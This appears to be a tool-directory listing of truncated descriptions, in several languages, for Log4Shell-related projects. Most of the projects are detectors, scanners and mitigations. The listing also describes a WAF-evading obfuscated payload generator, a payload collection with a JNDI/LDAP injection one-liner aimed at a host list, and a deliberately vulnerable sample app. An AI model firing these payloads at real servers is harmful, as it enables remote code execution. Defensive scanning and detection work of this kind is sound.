CVE-2021-45046-Info

CVE-2021-45046-Info Oh no another one POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n LINKS https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...

log4j-detector

Log4-detector Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228 CRITICAL, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It...

Log4j-CVE-Detect

Log4J-CVE-Detect This repository contains a set of YARA rules for detecting versions of log4j which are vulnerable to CVE-2021-44228, CVE-2021-45046, and / or CVE-2021-45105 by looking for a number of features which appear in affected versions. This tool works recursively on binary files such as...

log4shell-tools

log4shell.tools log4shell.tools is a tool that allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046. This is the code that runs https://log4shell.alexbakker.me. If you'd like to inspect the code or...

log4j-scan

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers not only 3-4 headers as previously seen tools. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters...

log4shell-rex

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell CVE-2021-44228 and CVE-2021-45046 exploitation. If you run a version from pre 2021/12/21, it's highly recommended to test and update. I've removed some quirks and enhanced performance. The Regex aims...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator는 WAF 탐지를 우회하기 위해 1차 난독화 또는 2차 난독화된 CVE-2021-44228 또는 CVE-2021-45046 페이로드를 생성할 수 있습니다. Log4Shell-obfuscated-payloads-generator의 설계 아이디어 Installation root@kitploit: git clone...

PowerShell-Log4J-Scanner

PowerShell-Log4J-Scanner CVE-2021-44228, CVE-2021-45046로 인해 Log4J 파일을 찾고 분석하고 패치할 수 있습니다. 공식 아파치 사이트: https://logging.apache.org/log4j/2.x/download.html 이 스크립트는 Powershell용이며, Win10 또는 Win11에서 작동합니다...

nginx-mitigate-log4shell

nginx-mitigate-log4shell log4shell CVE-2021-44228 및 CVE-2021-45046 취약점 공격을 Nginx LUA 스크립트를 사용하여 완화합니다. Nginx lua 모듈https://www.nginx.com/resources/wiki/modules/lua/이 활성화되어 있어야 합니다. server ... 컨텍스트에서 include /path/to/mitigate-log4shell.conf;를 사용하세요. 여러 server 컨텍스트에 포함할 수 있습니다. http ... 컨텍스트에 배치할 수...

log4j2-CVE-2021-45046

Log4j2 취약 애플리케이션 샘플 CVE-2021-45046 영향을 받는 버전: 2.0-beta9부터 2.15.0까지의 모든 버전 이 애플리케이션은 CVE-2021-45046에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다. Log4j 2.14.1spring-boot-starter-log4j2 2.6.1을 통해을 사용합니다. 애플리케이션 실행 실행: root@kitploit: Java IDE에서 프로젝트를 Maven 프로젝트로 가져옵니다. CVEMainApplication.java를 Spring Boot 앱으...

Log4Shell-Payloads

🚨 Log4Shell 페이로드 컬렉션 Log4Shell / Log4J 익스플로잇 페이로드 의 엄선된 목록으로 다음을 대상으로 합니다: CVE-2021-45046 CVE-2022-42889 🔗 제작: @nav1n0x 🔥 한 줄 페이로드 ✅ 원라이너 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

log4j-scanner

log4j-scanner Log4j 취약점 스캐너는 웹 애플리케이션에서 log4jCVE-2021-44228 및 CVE-2021-45046 취약점을 찾아내는 자동화 스캐너입니다. 기능 1- 여러 URL에 대한 스캔을 지원합니다 2- 일부 WAF를 우회할 수 있는 페이로드를 포함합니다 3- GET 및 POST 요청을 지원합니다 4- 사용자 정의 페이로드 및 헤더 파일을 지원합니다 5- POST 데이터 파라미터뿐만 아니라 JSON 파라미터도 퍼징합니다 설치 git clone...

Log-4j-scanner

log4j-scan 취약한 log4j 호스트를 찾기 위한 완전 자동화된 정확하고 광범위한 스캐너 기능 URL 목록 지원. 60개 이상의 HTTP 요청 헤더 퍼징 기존 도구들이 다루던 3-4개 헤더에 국한되지 않음. HTTP POST 데이터 파라미터 퍼징. JSON 데이터 파라미터 퍼징. 취약점 발견 및 검증을 위한 DNS 콜백 지원. WAF 우회 페이로드. 🚨 공지 Log4J v2.15.0에는 완전한 RCE를 허용하는 패치 우회가 존재합니다. FullHunt는 CVE-2021-45046을 안정적으로 탐지하기 위해...

log4j-cve-code-search-resources

코드 검색을 사용하여 log4j CVE-2021-44228 및 log4j CVE-2021-45046 수정/완화하기...

CyberSecurity_CVE-2021-45046

CVE-2021-45046...

log4j-samples

log4j-samples log4jライブラリのバージョンのサンプルで、log4jスキャナ/検出器（私たち自身の log4j-detector を含む）が CVE-2021-45046 および CVE-2021-44228 を検出する精度を向上させるのに役立ちます。 サンプルには、shaded jar、uber jar、spring-boot 実行可能 jar、jar の中の jar、展開された jar などが含まれます。 ディレクトリ構成 ./false-hits/ - ここにあるサンプルはどれも CVE-2021-45046 または CVE-2021-44228...

log4jjndilookupremove

log4jjndilookupremove 주어진 디렉터리에 있는 jar 파일에서 Log4J JndiLookup.class를 제거하는 간단한 스크립트입니다. 이 스크립트는 애플리케이션이 적절한 Log4J 버전으로 다시 패키징될 때까지 CVE-2021-45046 및 CVE-2021-44228을 임시로 해결하는 데 사용할 수 있습니다. 사용법 Linux 또는 기타 nix 시스템에서 스캔하려는 디렉터리에서 이 스크립트를 실행하거나, 대상 디렉터리를 첫 번째 인수로 추가하면 됩니다: root@kitploit: $. scanjars.sh ...

log4j2_vul_local_scanner

Log4j2 취약점 로컬 스캐너 CVE-2021-45046 Log4j 취약점 로컬 탐지 스크립트입니다. 호스트의 모든 Java 프로세스를 스캔하여 취약한 log4j-core jar 패키지가 도입되었는지, 원격 코드 실행 공격CVE-2021-45046에 노출될 가능성이 있는지 확인한 후 스캔 보고서를 지정된 서버에 업로드합니다. 호스트의 모든 Java 프로세스를 스캔하여 log4j2 원격 코드 실행CVE-2021-45046의 영향을 받는지 확인한 후 보고서를 API 서버에 업로드합니다. python2.7 / 2.6 / 3.x에서...

Log4j_scan_Advance

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers not only 3-4 headers as previously seen tools. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters...

Log4Shell

log4shell 취약한 log4j 호스트를 찾기 위한 완전 자동화된 정확하고 광범위한 스캐너 기능 URL 목록 지원. 60개 이상의 HTTP 요청 헤더 퍼징. HTTP POST 데이터 파라미터 퍼징. JSON 데이터 파라미터 퍼징. 취약점 발견 및 검증을 위한 DNS 콜백 지원. WAF 우회 페이로드. 공지 Log4J v2.15.0에 전체 RCE를 허용하는 패치 우회가 있습니다. 이 log4shell 스크립트는 CVE-2021-45046을 안정적으로 탐지합니다. 대규모 인프라를 스캔하고 발견하는 데 어려움을 겪거나 Log4J...